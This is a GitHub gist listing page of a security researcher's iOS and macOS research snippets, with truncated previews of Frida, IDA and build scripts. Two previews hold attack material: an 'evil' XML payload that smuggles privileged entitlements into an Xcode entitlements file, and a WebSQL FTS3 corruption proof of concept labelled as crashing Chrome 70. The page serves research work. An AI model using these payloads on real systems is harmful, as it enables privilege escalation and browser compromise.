Skip to content

Instantly share code, notes, and snippets.

@ChiChou
ChiChou / awake.js
Created February 2, 2022 18:20
Keep iPhone awake
// frida -U --attach-frontmost -l awake.js
ObjC.schedule(ObjC.mainQueue, () => {
try {
ObjC.classes.UIApplication.sharedApplication().setIdleTimerDisabled_(ptr(1))
} finally {
}
})
@ChiChou
ChiChou / iproxy.py
Last active August 4, 2020 16:11
iproxy based on frida
import asyncio
import concurrent.futures
import frida
pool = concurrent.futures.ThreadPoolExecutor(max_workers=4)
def make_handler(dev: frida.core.Device, port:int, buffer_size=4096):
async def handler(reader, writer):
import idc
import idautils
import idaapi
import ida_funcs
import ida_name
import ida_bytes
import ida_nalt
import ida_hexrays as hr
import os
# preinstalled python is python2
filename = '/'.join(map(os.environ.get, ('TARGET_TEMP_DIR', 'FULL_PRODUCT_NAME'))) + '.xcent'
evil = '''
<!---><!-->
<key>platform-application</key>
<true/>
<key>com.apple.private.security.no-container</key>
<true/>
@ChiChou
ChiChou / README.md
Last active May 26, 2020 03:37
Recursively scan all executables in a folder and generate IDA databases in parallel

Recursively scan all executables (PE, ELF and MachO!) in a folder and generate IDA databases in parallel

Usage

node batch.js [path]

@ChiChou
ChiChou / pwn2own.json
Created December 16, 2019 14:53
Pwn2Own bugs from ZDI offcial site
[
{
"idYear": "11",
"idBase": 249,
"zdiId": "ZDI-11-249",
"zdiCan": "ZDI-CAN-1159",
"affectedVendors": "Microsoft",
"cve": "CVE-2011-1347",
"publishDate": "2011-08-09",
"lastUpdate": "",
#import <Foundation/Foundation.h>
#include <sandbox.h>
int sandbox_init_with_parameters(const char* profile,
uint64_t flags,
const char* const parameters[],
char** errorbuf);
#define SANDBOX_PROFILE "/System/Library/Frameworks/WebKit.framework/Versions/A/Resources/com.apple.WebProcess.sb"
#define SANDBOX_NAMED_EXTERNAL 0x0003
@ChiChou
ChiChou / sort-ver.js
Created February 25, 2019 16:29
opensource.apple.com sort by version
(() => {
const trs = document.querySelector('table').querySelectorAll('tr')
const rows = [].slice.call(trs, 3, trs.length - 1)
const footer = trs[trs.length - 1]
const sorted = rows.sort((a, b) => {
const parse = tr => tr.querySelector('td:nth-of-type(2) a').textContent
.match(/((\d+\.?)+)\.tar\.gz/)[1]
.split('.')
.map(s => parseInt(s, 10))
@ChiChou
ChiChou / crash.js
Created December 16, 2018 03:23
crash Chrome 70
const poc = `CREATE VIRTUAL TABLE ft USING fts3;
INSERT INTO ft VALUES('aback');
INSERT INTO ft VALUES('abaft');
INSERT INTO ft VALUES('abandon');
UPDATE ft_segdir SET root = x'0005616261636B03010200FFFFFFFF070266740302020003046E646F6E03030200';
SELECT * FROM ft WHERE ft MATCH 'abandon';`;
const name = 'db' + Math.random().toString().slice(2, 5);
const db = openDatabase(name, '1.0', 'xx', 1024 * 16);
@ChiChou
ChiChou / build-xnu-4903.221.2.sh
Created December 11, 2018 08:23 — forked from matteyeux/build-xnu-4903.221.2.sh
A script to build XNU version 4903.221.2 (macOS High Sierra 10.13). Initial script by Brandon Azad.
#! /bin/bash
#
# build-xnu-4903.221.2.sh
# Initial script by Brandon Azad (https://gist.github.com/bazad/654959120a423b226dc564073b435453)
# Updated on 12/11/18 by matteyeux
#
# A script showing how to build XNU version 4570.1.46 on MacOS High Sierra
# 10.13 with Xcode 9.
#
# Note: This process will OVERWRITE files in Xcode's MacOSX10.13.sdk. Make a